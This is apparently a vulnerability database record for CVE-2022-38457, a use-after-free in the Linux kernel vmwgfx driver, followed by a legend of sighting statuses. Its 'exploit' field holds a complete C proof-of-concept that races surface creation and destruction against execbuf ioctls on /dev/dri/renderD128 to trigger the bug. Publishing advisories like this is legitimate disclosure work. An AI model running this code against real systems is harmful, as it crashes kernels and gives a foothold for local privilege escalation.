gsd-2022-38457
Vulnerability from gsd
Modified
2023-12-13 01:19
Details
A use-after-free(UAF) vulnerability was found in function 'vmw_cmd_res_check' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Aliases
Aliases
{
"GSD": {
"alias": "CVE-2022-38457",
"description": "A use-after-free(UAF) vulnerability was found in function \u0027vmw_cmd_res_check\u0027 in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel\u0027s vmwgfx driver with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).",
"id": "GSD-2022-38457",
"references": [
"https://www.suse.com/security/cve/CVE-2022-38457.html"
]
},
"gsd": {
"metadata": {
"exploitCode": "unknown",
"remediation": "unknown",
"reportConfidence": "confirmed",
"type": "vulnerability"
},
"osvSchema": {
"aliases": [
"CVE-2022-38457"
],
"details": "A use-after-free(UAF) vulnerability was found in function \u0027vmw_cmd_res_check\u0027 in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel\u0027s vmwgfx driver with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).",
"id": "GSD-2022-38457",
"modified": "2023-12-13T01:19:22.460075Z",
"schema_version": "1.4.0"
}
},
"namespaces": {
"cve.org": {
"CVE_data_meta": {
"AKA": "Anolis",
"ASSIGNER": "security@openanolis.org",
"DATE_PUBLIC": "2022-09-06T07:00:00.000Z",
"ID": "CVE-2022-38457",
"STATE": "PUBLIC",
"TITLE": "There is an UAF vulnerability in vmwgfx driver"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "kernel",
"version": {
"version_data": [
{
"version_affected": "\u003e=",
"version_name": "5.13.0-52",
"version_value": "v4.20-rc1"
}
]
}
}
]
},
"vendor_name": "Linux"
}
]
}
},
"credit": [
{
"lang": "eng",
"value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
}
],
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "A use-after-free(UAF) vulnerability was found in function \u0027vmw_cmd_res_check\u0027 in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel\u0027s vmwgfx driver with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
}
]
},
"exploit": [
{
"lang": "eng",
"value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint sid =0;\nint fd = 0;\nint handle=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int handle,int sid){ \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1; \n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n {\n printf(\"poc failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n {\n printf(\"alloc_bo failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n {\n printf(\"create_surface failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\n\nvoid destory_surface(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x4008644A, \u0026arg) == -1)\n {\n printf(\"destory_surface failed: %s\\n\", strerror(errno));\n return -1;\n } \n}\nvoid thread1(){\nwhile(1){\nsid = create_surface(); \ndestory_surface(sid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(handle,sid); \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n \n\ninit();\nhandle=alloc_bo();\n if(pthread_create(\u0026tid1,NULL,thread1,NULL)){\n perror(\"thread_create\");\n }\n\n\t\n if(pthread_create(\u0026tid2,NULL,thread2,NULL)){\n perror(\"thread_create\");\n }\n \n while(1){\n sleep(3);\n \n }\n}\n \n"
}
],
"generator": {
"engine": "Vulnogram 0.0.9"
},
"impact": {
"cvss": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
"version": "3.1"
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-416 Use After Free"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2074",
"refsource": "MISC",
"url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"
}
]
},
"source": {
"defect": [
"https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"
],
"discovery": "INTERNAL"
}
},
"nvd.nist.gov": {
"configurations": {
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:linux:linux_kernel:6.2:rc1:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:linux:linux_kernel:6.2:rc2:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:linux:linux_kernel:6.2:rc3:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:linux:linux_kernel:6.2:rc4:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndExcluding": "6.1.7",
"versionStartIncluding": "4.20",
"vulnerable": true
}
],
"operator": "OR"
}
]
},
"cve": {
"CVE_data_meta": {
"ASSIGNER": "security@openanolis.org",
"ID": "CVE-2022-38457"
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "en",
"value": "A use-after-free(UAF) vulnerability was found in function \u0027vmw_cmd_res_check\u0027 in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel\u0027s vmwgfx driver with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "en",
"value": "CWE-416"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2074",
"refsource": "MISC",
"tags": [
"Issue Tracking",
"Permissions Required"
],
"url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"
}
]
}
},
"impact": {
"baseMetricV3": {
"cvssV3": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6
}
},
"lastModifiedDate": "2023-04-17T16:45Z",
"publishedDate": "2022-09-09T15:15Z"
}
}
}
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- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.